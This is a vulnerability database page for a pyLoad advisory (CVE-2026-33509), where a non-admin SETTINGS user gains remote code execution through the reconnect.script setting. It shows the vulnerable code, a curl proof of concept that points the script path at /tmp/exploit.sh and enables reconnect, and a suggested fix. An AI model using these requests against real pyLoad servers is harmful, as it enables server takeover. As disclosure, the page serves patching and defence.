Vulnerability-Lookup

GHSA-R7MC-X6X7-CQXX

Vulnerability from github – Published: 2026-03-20 21:50 – Updated: 2026-03-27 21:59

Summary

pyLoad SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration

Details

Summary

The set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction.

Details

The vulnerability chain spans two components:

1. Unrestricted config write — src/pyload/core/api/__init__.py:210-243

@permission(Perms.SETTINGS)
@post
def set_config_value(self, category: str, option: str, value: Any, section: str = "core") -> None:
    self.pyload.addon_manager.dispatch_event(
        "config_changed", category, option, value, section
    )
    if section == "core":
        if category == "general" and option == "storage_folder":
            # Forbid setting the download folder inside dangerous locations
            # ... validation only for storage_folder ...
            return

        self.pyload.config.set(category, option, value)  # No validation for any other option

The Perms.SETTINGS permission (value 128) is a non-admin permission flag. The only hardcoded validation is for general.storage_folder. The reconnect.script option is written directly to config with no path validation, allowlist, or sanitization.

2. Arbitrary script execution — src/pyload/core/managers/thread_manager.py:157-199

def try_reconnect(self):
    if not (
        self.pyload.config.get("reconnect", "enabled")
        and self.pyload.api.is_time_reconnect()
    ):
        return False

    # ... checks if active downloads want reconnect ...

    reconnect_script = self.pyload.config.get("reconnect", "script")
    if not os.path.isfile(reconnect_script):
        self.pyload.config.set("reconnect", "enabled", False)
        self.pyload.log.warning(self._("Reconnect script not found!"))
        return

    # ... reconnect logic ...

    try:
        subprocess.run(reconnect_script)  # Executes attacker-controlled path
    except Exception:
        # ...

The reconnect_script value comes directly from config. The only check is os.path.isfile() — the file must exist but there is no allowlist, no path restriction, and no signature verification.

3. Attacker also controls timing via same SETTINGS permission

The attacker can set reconnect.enabled=True, reconnect.start_time, and reconnect.end_time through the same set_config_value() endpoint to control when execution occurs. toggle_reconnect() at line 321 requires only Perms.STATUS — an even lower privilege.

4. Additional privilege escalation via config access

Beyond RCE, the same unrestricted config write allows SETTINGS users to: - Read proxy credentials (proxy.username/proxy.password) in plaintext via get_config() - Redirect syslog to an attacker-controlled server (log.syslog_host/log.syslog_port) - Disable SSL (webui.use_ssl=False), rebind to 0.0.0.0 (webui.host) - Modify SSL certificate/key paths to enable MITM

PoC

Step 1: Set reconnect script to an attacker-controlled executable

Via API:

# Authenticate and get session (as user with SETTINGS permission)
curl -c cookies.txt -X POST 'http://target:8000/api/login' \
  -d 'username=settingsuser&password=pass123'

# Set reconnect script to a known executable on the system
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=script&value=/tmp/exploit.sh&section=core'

Via Web UI:

curl -b cookies.txt -X POST 'http://target:8000/json/save_config?category=core' \
  -d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'

Step 2: Enable reconnect and set timing window

curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=enabled&value=True&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=start_time&value=00:00&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=end_time&value=23:59&section=core'

Step 3: Script executes when thread manager calls try_reconnect()

The thread manager's run() method (called repeatedly by the core loop) invokes try_reconnect(), which calls subprocess.run(reconnect_script) at thread_manager.py:199.

Note on exploitation constraints: The file at the target path must exist (os.path.isfile() check) and be executable. With shell=False (subprocess.run default), no arguments are passed. If the attacker also has ADD permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.

Impact

Remote Code Execution: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user
Privilege escalation: The SETTINGS permission is described as "can access settings" — granting it is not expected to grant arbitrary code execution capability
Credential exposure: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via get_config()
Network reconfiguration: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings

Recommended Fix

Add an allowlist or category-level restriction in set_config_value() that prevents non-admin users from modifying security-critical options:

# In set_config_value(), after the storage_folder check:
ADMIN_ONLY_OPTIONS = {
    ("reconnect", "script"),
    ("webui", "host"),
    ("webui", "use_ssl"),
    ("webui", "ssl_cert"),
    ("webui", "ssl_key"),
    ("log", "syslog_host"),
    ("log", "syslog_port"),
    ("proxy", "username"),
    ("proxy", "password"),
}

if section == "core" and (category, option) in ADMIN_ONLY_OPTIONS:
    # Require ADMIN role for security-critical settings
    if not self.pyload.api.user_data.get("role") == Role.ADMIN:
        raise PermissionError(f"Admin role required to modify {category}.{option}")

Additionally, consider validating the reconnect.script path against an allowlist of directories or requiring admin approval for script path changes.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "last_affected": "0.5.0b3.dev96"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T21:50:30Z",
    "nvd_published_at": "2026-03-24T20:16:30Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `set_config_value()` API endpoint allows users with the non-admin `SETTINGS` permission to modify any configuration option without restriction. The `reconnect.script` config option controls a file path that is passed directly to `subprocess.run()` in the thread manager\u0027s reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in `set_config_value()` is a hardcoded check for `general.storage_folder` \u2014 all other security-critical settings including `reconnect.script` are writable without any allowlist or path restriction.\n\n## Details\n\nThe vulnerability chain spans two components:\n\n**1. Unrestricted config write \u2014 `src/pyload/core/api/__init__.py:210-243`**\n\n```python\n@permission(Perms.SETTINGS)\n@post\ndef set_config_value(self, category: str, option: str, value: Any, section: str = \"core\") -\u003e None:\n    self.pyload.addon_manager.dispatch_event(\n        \"config_changed\", category, option, value, section\n    )\n    if section == \"core\":\n        if category == \"general\" and option == \"storage_folder\":\n            # Forbid setting the download folder inside dangerous locations\n            # ... validation only for storage_folder ...\n            return\n\n        self.pyload.config.set(category, option, value)  # No validation for any other option\n```\n\nThe `Perms.SETTINGS` permission (value 128) is a non-admin permission flag. The only hardcoded validation is for `general.storage_folder`. The `reconnect.script` option is written directly to config with no path validation, allowlist, or sanitization.\n\n**2. Arbitrary script execution \u2014 `src/pyload/core/managers/thread_manager.py:157-199`**\n\n```python\ndef try_reconnect(self):\n    if not (\n        self.pyload.config.get(\"reconnect\", \"enabled\")\n        and self.pyload.api.is_time_reconnect()\n    ):\n        return False\n\n    # ... checks if active downloads want reconnect ...\n\n    reconnect_script = self.pyload.config.get(\"reconnect\", \"script\")\n    if not os.path.isfile(reconnect_script):\n        self.pyload.config.set(\"reconnect\", \"enabled\", False)\n        self.pyload.log.warning(self._(\"Reconnect script not found!\"))\n        return\n\n    # ... reconnect logic ...\n\n    try:\n        subprocess.run(reconnect_script)  # Executes attacker-controlled path\n    except Exception:\n        # ...\n```\n\nThe `reconnect_script` value comes directly from config. The only check is `os.path.isfile()` \u2014 the file must exist but there is no allowlist, no path restriction, and no signature verification.\n\n**3. Attacker also controls timing via same SETTINGS permission**\n\nThe attacker can set `reconnect.enabled=True`, `reconnect.start_time`, and `reconnect.end_time` through the same `set_config_value()` endpoint to control when execution occurs. `toggle_reconnect()` at line 321 requires only `Perms.STATUS` \u2014 an even lower privilege.\n\n**4. Additional privilege escalation via config access**\n\nBeyond RCE, the same unrestricted config write allows SETTINGS users to:\n- Read proxy credentials (`proxy.username`/`proxy.password`) in plaintext via `get_config()`\n- Redirect syslog to an attacker-controlled server (`log.syslog_host`/`log.syslog_port`)\n- Disable SSL (`webui.use_ssl=False`), rebind to `0.0.0.0` (`webui.host`)\n- Modify SSL certificate/key paths to enable MITM\n\n## PoC\n\n**Step 1: Set reconnect script to an attacker-controlled executable**\n\nVia API:\n```bash\n# Authenticate and get session (as user with SETTINGS permission)\ncurl -c cookies.txt -X POST \u0027http://target:8000/api/login\u0027 \\\n  -d \u0027username=settingsuser\u0026password=pass123\u0027\n\n# Set reconnect script to a known executable on the system\ncurl -b cookies.txt -X POST \u0027http://target:8000/api/set_config_value\u0027 \\\n  -d \u0027category=reconnect\u0026option=script\u0026value=/tmp/exploit.sh\u0026section=core\u0027\n```\n\nVia Web UI:\n```bash\ncurl -b cookies.txt -X POST \u0027http://target:8000/json/save_config?category=core\u0027 \\\n  -d \u0027reconnect|script=/tmp/exploit.sh\u0026reconnect|enabled=True\u0027\n```\n\n**Step 2: Enable reconnect and set timing window**\n\n```bash\ncurl -b cookies.txt -X POST \u0027http://target:8000/api/set_config_value\u0027 \\\n  -d \u0027category=reconnect\u0026option=enabled\u0026value=True\u0026section=core\u0027\n\ncurl -b cookies.txt -X POST \u0027http://target:8000/api/set_config_value\u0027 \\\n  -d \u0027category=reconnect\u0026option=start_time\u0026value=00:00\u0026section=core\u0027\n\ncurl -b cookies.txt -X POST \u0027http://target:8000/api/set_config_value\u0027 \\\n  -d \u0027category=reconnect\u0026option=end_time\u0026value=23:59\u0026section=core\u0027\n```\n\n**Step 3: Script executes when thread manager calls `try_reconnect()`**\n\nThe thread manager\u0027s `run()` method (called repeatedly by the core loop) invokes `try_reconnect()`, which calls `subprocess.run(reconnect_script)` at `thread_manager.py:199`.\n\n**Note on exploitation constraints:** The file at the target path must exist (`os.path.isfile()` check) and be executable. With `shell=False` (subprocess.run default), no arguments are passed. If the attacker also has `ADD` permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.\n\n## Impact\n\n- **Remote Code Execution**: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user\n- **Privilege escalation**: The SETTINGS permission is described as \"can access settings\" \u2014 granting it is not expected to grant arbitrary code execution capability\n- **Credential exposure**: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via `get_config()`\n- **Network reconfiguration**: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings\n\n## Recommended Fix\n\nAdd an allowlist or category-level restriction in `set_config_value()` that prevents non-admin users from modifying security-critical options:\n\n```python\n# In set_config_value(), after the storage_folder check:\nADMIN_ONLY_OPTIONS = {\n    (\"reconnect\", \"script\"),\n    (\"webui\", \"host\"),\n    (\"webui\", \"use_ssl\"),\n    (\"webui\", \"ssl_cert\"),\n    (\"webui\", \"ssl_key\"),\n    (\"log\", \"syslog_host\"),\n    (\"log\", \"syslog_port\"),\n    (\"proxy\", \"username\"),\n    (\"proxy\", \"password\"),\n}\n\nif section == \"core\" and (category, option) in ADMIN_ONLY_OPTIONS:\n    # Require ADMIN role for security-critical settings\n    if not self.pyload.api.user_data.get(\"role\") == Role.ADMIN:\n        raise PermissionError(f\"Admin role required to modify {category}.{option}\")\n```\n\nAdditionally, consider validating the `reconnect.script` path against an allowlist of directories or requiring admin approval for script path changes.",
  "id": "GHSA-r7mc-x6x7-cqxx",
  "modified": "2026-03-27T21:59:17Z",
  "published": "2026-03-20T21:50:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33509"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/f5e284fcdfeaf08436bb03e5fcf697aaac659d8b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration"
}

CVE-2026-33509 (GCVE-0-2026-33509)

Vulnerability from cvelistv5 – Published: 2026-03-24 18:55 – Updated: 2026-03-26 19:52

Title

pyload-ng: SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration

Summary

pyLoad is a free and open-source download manager written in Python. From version 0.4.0 to before version 0.5.0b3.dev97, the set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction. This issue has been patched in version 0.5.0b3.dev97.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-269 - Improper Privilege Management

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	pyload	pyload	Affected: >= 0.4.0, < 0.5.0b3.dev97

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-R7MC-X6X7-CQXX

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-33509 (GCVE-0-2026-33509)

Tags

Sightings

Nomenclature